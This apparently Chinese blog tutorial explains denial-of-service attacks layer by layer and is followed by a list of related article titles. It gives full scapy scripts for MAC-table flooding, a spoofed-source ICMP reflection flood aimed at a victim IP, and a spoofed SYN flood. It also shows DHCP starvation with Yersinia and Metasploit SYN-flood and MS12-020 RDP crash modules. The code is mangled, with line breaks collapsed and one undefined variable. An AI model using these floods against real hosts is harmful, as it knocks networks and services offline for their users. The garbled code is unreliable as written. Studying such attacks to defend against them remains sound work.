拒绝服务攻击

  • 数据链路层的拒绝服务攻击
  • 网络层的拒绝服务攻击
  • 传输层的拒绝服务攻击
  • 应用层的拒绝服务攻击
  • 拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。
  • 其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,是某些服务被暂停甚至主机死机,都属于拒绝服务攻击。
  • 拒绝服务攻击问题也一直得不到合理的解决,究其原因是因为网络协议本身的安全缺陷,从而拒绝服务攻击也成为攻击者的终极手法。
  • 拒绝服务攻击并不是一个攻击方式。而是一类具有相似特征的攻击方式的集合。黑客可能会利用TCP/IP协议层中数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。

数据链路层的拒绝服务攻击

数据链路层发起的拒绝服务攻击方式
它的攻击目标是二层交换机。这种攻击方式的目的并不是要二层交换机停止工作,而是要二层交换机以一种不正常的方式工作

什么是交换机不正常的工作方式呢?让交换机成为”集线器“
根据交换机的特性:当CAM表被填满时,收到未知单播帧,会将这个帧进行广播处理。这时受到攻击的交换机实际上已经退化成了集线器了。这时黑客只需要在自己的计算机上将网卡设置为混杂模式,就可以监听整个网络的通信了。

一个专门用来完成这种攻击的工具-macof,这个工具的使用方法很简单,下面给出这个工具的格式:Usage: macof[-s src][-d dst][-e tha][-x sport][-y dport][-i interface][-n times]
在实际应用中,这里面的参数只有 -i 是会使用到的,这个参数用来指定发送这些伪造数据包的网卡。
使用macof的方法很简单,kali输入macof即可启动这个工具(输入macof自动运行发包)

交换机在遭到攻击之后,内部的CAM表很快就被填满。交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常向局域网提供转发功能,实现过程很简单。

  1. 构造随机MAC和IP,scapy模块中**RandMAC()RandIP()**可以很方便地实现这一点,也可以生成固定网段IP,如RandIP(“192.168.1.*”)。
from scapy.all import *
while 1:packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()time.sleep(0.5)sendp(packet)print(packet.summary())


  1. 数据包中包含指定的源IP和MAC,那么交换机就会记录,例如ARP包Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op, src="0.0.0.0",hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="x"*18)或者Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()

模拟macof完整代码如下:

import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:iface=sys.argv[1]
while 1:packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()time.sleep(0.5)sendp(packet,iface=iface,loop=0)

网络层的拒绝服务攻击

位于网络层的协议包括ARP、IP和ICMP等,其中,ICMP主要用来在IP主机、路由之间传递控制消息。平时检测网络连通情况时使用的Ping命令就是基于ICMP的。例如,希望查看本机发送的数据包是否可以到到192.168.26.100,就可以使用Ping命令。

可以看出,发送的数据包得到了应答数据包,这说明192.168.26.100收到了发送的数据包,并给出了应答。
这个过程遵守了ICMP的规定:Ping就是ICMP请求(Type=8),收到的回应就是ICMP应答(Type=0),一台主机向一个节点发送一个Type=8的ICMP报文,如果途中没有异常(例如,被路由器丢弃,目标不回应ICMP或传输失败),则目标返回Type=0的ICMP报文,说明这台主机存在。

但是目标主机在处理这个请求和应答时是需要消耗CPU资源的,处理少量的ICMP请求并不会对CPU的运行速度产生影响,但是大量的ICMP请求呢?
仍然使用Ping命令来尝试一下。这次将ICMP数据包设置的足够大,Ping命令发送到数据包大小可以使用 -l 来指定(这个值一般指定为65500),这样构造好的数据包被称作“死亡之Ping”,因为早期的系统无法处理这么大的ICMP数据包,在接收到这种数据包之后会死机。现在的系统则不会出现这种问题,但是可以考虑使用这种方法向目标主机连续发送这种“死亡之Ping”来消耗目标主机的资源。
现在的操作系统和CPU完全有能力处理这个数量级的数据包。
既然对方能够承受这个速度的数据包了,那么这里的拒绝服务攻击也就没有效果了,必须想办法提高发送到目标的数据包的数量。主要有两个方法:①同时使用多台计算机发送ICMP数据包②提高发送ICMP数据包的速度。

另外,除了像上面这种使用本机地址不断地向目标发送ICMP包的方法之外,还有两种方法:①使用随机地址不断向目标发送ICMP包,②向不同地址不断发送以攻击目标IP地址为发送地址的数据包。这种攻击模式里,最终淹没没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通信服务器发出的

除了前面使用的RandIP(),还可以使用下面的方法模拟出一个随机IP地址
i.src="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) id.dst="" send(IP(dst="1,2,3,4")/ICMP())

完整程序如下

import sys
import random
from scapy.all import send,IP,ICMPif len(sys.argv)<2:print(sys.argv[0]+"<spoofed_source_ip><target>")while 1:pdst="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))psrc="1.1.1.1"#受害者IP地址send(IP(src=psrc,dst=pdst)/ICMP())

使用wireshark来捕获发出的数据包,可以看到快速地以1.1.1.1向各个地址发送ICMP请求,这个地址在收到请求后,很快就会向1.1.1.1发回应答。这就是第三种攻击方式。

传输层的拒绝服务攻击

TCP(Tranmission Control Protocol,传输控制协议):是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP是因特网的传输层协议,使用三次握手协议建立连接。当主动方发出SYN连接请求后,等待对方回答SYN+ACK,并最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误**的连接。

TCP三次握手的过程如下:

  1. 客户端向服务器端发送SYN(SEQ=x)数据包,并进入SYN_SEND状态。
  2. 服务器端在收到客户端发出的SYN报文之后,回应一个SYN(SEQ=y) ACK(ACK+1)数据包,并进入SYN_RECV状态。
  3. 客户端收到服务器端的SYN数据包,回应一个ACK(ACK=y+1)数据包,进入Established状态。

    不同于针对ICMP和UDP的拒绝服务攻击方式,基于TCP的攻击方式是面向连接的。只需要和目标主机的端口建立大量的TCP连接,就可以让目标主机的连接表被填满,从而不会再接收任何新的连接。
    基于TCP的拒绝攻击方式有两种:①和端口完成三次握手,建立一个完整连接②只和目标端口完成三次握手中的前两次,建立的是一个不完整的连接**。

***不完整连接:***攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包,受攻击的服务器会根据这些数据包建立连接,并将连接的信息存储再连接表中,而攻击方不断地发送SYN数据包,很快就会将连接表填满,此时受攻击的服务器就无法接收新来的连接请求了。

无序使用自身的IP地址作为源地址,只需要使用伪造的地址即可。产生随机地址的方法如:pdst="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
攻击目标时使用TCP,端口为80,将标志位设置为syn:TCP(dport=80,flags="S")

完整程序如下:

import sys
import random
from scapy.all import send,IP,TCPif len(sys.argv)<2:print("SynFlood.py +target IP")while 1:psrc="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))pdst=argv[1]send(IP(src=psrc,dst=pdst)/TCP(dport=80,flags="S"))

执行这段程序,将参数设置为192.168.0.116,使用WireShark捕获这些数据包,执行的结果如图

应用层的拒绝服务攻击

位于应用层的协议比较多,常见的由HTTP、FTP、DNS、DHCP等。这里面的每个协议都可能被利用来发起拒绝服务攻击。

DHCP为例,DHCP(Fynamic Hosy Configuration Protocol,动态主机配置协议)通常应用于大型的局域网络环境中,主要作用是集中地管理、分配IP地址,使网络环境中的动态地获得IP地址、Gateway地址、DNS服务器地址等信息,并能够提升地址的使用率。

DHCP攻击的目标也是服务器(DHCP服务器),怀有恶意的用户伪造大量DHCP请求报文发送到服务器,这样DHCP服务器地址池中的IP地址会很快就分配完毕,从而导致合法用户无法申请到IP地址。同时大量的DHCP请求也会导致服务器高负荷运行,从而导致设备瘫痪。

首先编写一段程序来搜索网络中的DHCP服务器,只需要在网络中广播DHCP的discover数据包,源端口为68,目标端口为67.这个构造过程涉及多个层次。dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[("message-type","discover"),"end"])
完整程序如下:

from scapy.all import srp,IP,UDP,Ether,BOOTP,DHCPdhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[("message-type","discover"),"end"]
srp(dhcp_discover)

同时可以打开wireshark,并将过滤器设置为udp,然后执行程序。

分析得到的数据包,可以看出来网络中有一个DHCP服务器,地址为192.168.26.254。这个程序也可以用来检测网络中的非法DHCP服务器。

在这一节中用到两个工具,一个是Yersinia,这是一个十分强大的拒绝服务攻击工具,另一个是比较熟悉的Metasploit

Yersinia进行DHCP攻击实验,这是一款图形化工具,在命令行中输入“yersinia -G”就可以图形化界面的形式启动这款工具。

基于DHCP的攻击一共提供了4中发包形式,这4中模式的含义如下所示。

  1. sending RAW packet:发送原始数据包。
  2. sending DISCOVER packet:发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务。
  3. creating DHCP rogue server:创建虚假DHCP服务器,让用户连接,真正的DHCP无法工作。
  4. sending RELEASE packet:发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效。

理论上,所有提供连接的协议都可能会收到拒绝服务的攻击,Metasploit提供了很多用于各种协议的拒绝服务攻击模块,可以启动Metasploit,并在其中查询使用对应的模块。


成功启动Metasploit之后,可以使用search命令来查找与DoS(拒绝服务攻击)的相关模块。
仍然使用这里的模块对目标进行一次SYN拒绝服务攻击,使用auxiliary/dos/tcp/synflood模块来完成这个攻击。首先选择对应模块use auxiliary/dos/tcp/synflood

synflood这个模块需要的参数包括RHOST、RPORT、SNAPLEN和TIMEOUT,后面的三个参数都有默认值,所以需要设置的只有RHOST,这也正是要发起拒绝服务攻击服务器的IP地址。这个目标必须对外提供HTTP服务的服务器。
将参数设置为目标192.168.26.101

然后exploit发起攻击

如果事先获得了关于目标主机的足够信息,也可以利用目标主机上一些特定的服务进行拒绝服务攻击
例如,很多人都拥有两台以上的计算机,一台在单位,另一台在家里,如果上班时间没有完成全部工作,回家可以远程连接到单位的计算机。但是这需要计算机提供远程控制的服务。
Windows操作系统就提供了远程桌面协议,这是一个多通道的协议,用户可以利用这个协议(客户端或称“本地计算机”)连上提供微软终端机服务的计算机(服务器端或称“远程计算机”)。
但是微软提供的这个服务被发现存在一个编号为MS12-020的漏洞,Windows在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止相应。默认情况下,任何Windows操作系统都未启用远程桌面协议(RDP)。没有启用RDP的系统不受威胁。

还是在Metasploit中启动对应的模块:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

“人生苦短,我用Python“——拒绝服务攻击相关推荐

  1. python编写ARP拒绝服务攻击脚本

    python编写ARP拒绝服务攻击脚本 原理:每台主机上都会有一张ARP表,记录主机的IP地址和 Mac地址,Mac地址有动态和 静态的: 网关:区分你是在哪个局域网 局域网中的通信是通过交换机实现的 ...

  2. Python渗透测试编程技术-拒绝服务攻击

    一.背景 1.拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一. 2.其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至 ...

  3. python dos攻击_利用SMB漏洞DoS攻击任何Windows系统

    原标题:利用SMB漏洞DoS攻击任何Windows系统 近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 " SMBLoris ",解释其能够发动拒绝服务(Dos)攻击, ...

  4. TearDrop拒绝服务攻击

    ● 主要针对早期微软操作系统(95.98.3.x.nt) ○ 近些年有人发现对2.x版本的Android系统,6.1的IOS系统攻击有效 ● 原理很有趣 ○ 使用IP分段偏移值实现分段覆盖,接收端处理 ...

  5. 两款简单的拒绝服务攻击工具

    注意:文章内容仅供参考,以及测试用途,切勿用作非法用途!!! 拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,常是黑客用的攻击手段之一.其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只 ...

  6. DDoS攻击详解ufonet、Mirai分布式拒绝服务攻击工具的介绍

    前言 大家好.今天和大家聊聊DDoS攻击 首先,我写这篇文章的目的是为了让大家更多的去了解如何防护DDoS攻击,所以请勿用作违法行为! 不知攻,何知防?在我们对DDoS攻击进行防御之前,一定要了解骇客 ...

  7. GitChat 被恶意攻击引发的技术性思考:拒绝服务攻击

    本文来自作者 肖志华 在 GitChat 上分享 「GitChat 被恶意攻击引发的技术性思考:拒绝服务攻击」,「阅读原文」查看交流实录. 「文末高能」 编辑 | 哈比 拒绝服务的类型很多,挑几个有特 ...

  8. 我对DDos攻击的见解以及ufonet和mirai分布式拒绝服务攻击工具的介绍

    首先,我写这篇文章的目的是为了让大家更多的去了解如何防护ddos攻击,所以请勿用作违法行为! 不知攻,何知放?在我们对ddos攻击进行防御之前,一定要了解黑客是如何进行ddos攻击的.同时我今天还会为 ...

  9. Kali渗透-DDOS拒绝服务攻击

    前言 严正声明:本文仅限于技术讨论与分享,严禁用于非法途径. 本文目的 演示如何借助 Kali Linux 系统内置的一个 TCP/IP 数据包组装/分析工具 hping 和在 Github 上开源的 ...

最新文章

  1. JS 数组A有数组B的数据就删除
  2. 使用 Node.js 开发简单的脚手架工具
  3. 关于格雷码的规律、转换
  4. AngularJS快速入门简介
  5. 关于div容器高度随着浏览器宽度按照宽高比自适应的问题(css解决方案)
  6. php boolean 全大写还是全小写,【PHP培训】PHP为什么大小写规则是如此不规则?
  7. 4373支队伍报名2020数字中国创新大赛-数字政府赛道 数字战“疫”彰显社会责任...
  8. vue 打开html流_【报Bug】“纯nvue”模式下,web-view无法打开本地html
  9. 中英文对照 —— 软件与病毒、电子与硬件
  10. 如何在 HTML5 页面中嵌入音频?如何在 HTML5 页面中嵌入视频?
  11. 对Oracle SQL Developer中 变量的学习
  12. PS小技巧 | 怎么又下雨了
  13. Memcache:set()
  14. JavaScript强化教程——AngularJS 表达式
  15. 【工具用法】Linux登录吉林大学校园网教程(以deepin为例)
  16. Linux串口设置参数
  17. Spring源码系列(五)——@Aspect源码解析
  18. 9.3. debug ip igrp
  19. 周志华 《机器学习初步》 绪论
  20. 2018年1月23日腾讯SNG-IMWeb前端工程师 电话远程面试记录

热门文章

  1. PGL 系列(四)词向量 CBOW
  2. Mockups知识点
  3. 解决Incorrect result size: expected 1, actual 0!
  4. A non-optional actual argument must be present when invoking a procedure with an explicit interface
  5. 单片机C语言制作ESR表,超级ESR表 - 〓仪表工具专区〓 - 矿石收音机论坛 - Powered by Discuz!...
  6. FASS-K8S云原生全闪存储解决方案
  7. 这几个小妙招让你学会如何压缩图片大小
  8. Entry键值对对象
  9. DeepLearning六脉神剑第1式--传统神经网络
  10. IDE(ATA),SATA,SCSI的区别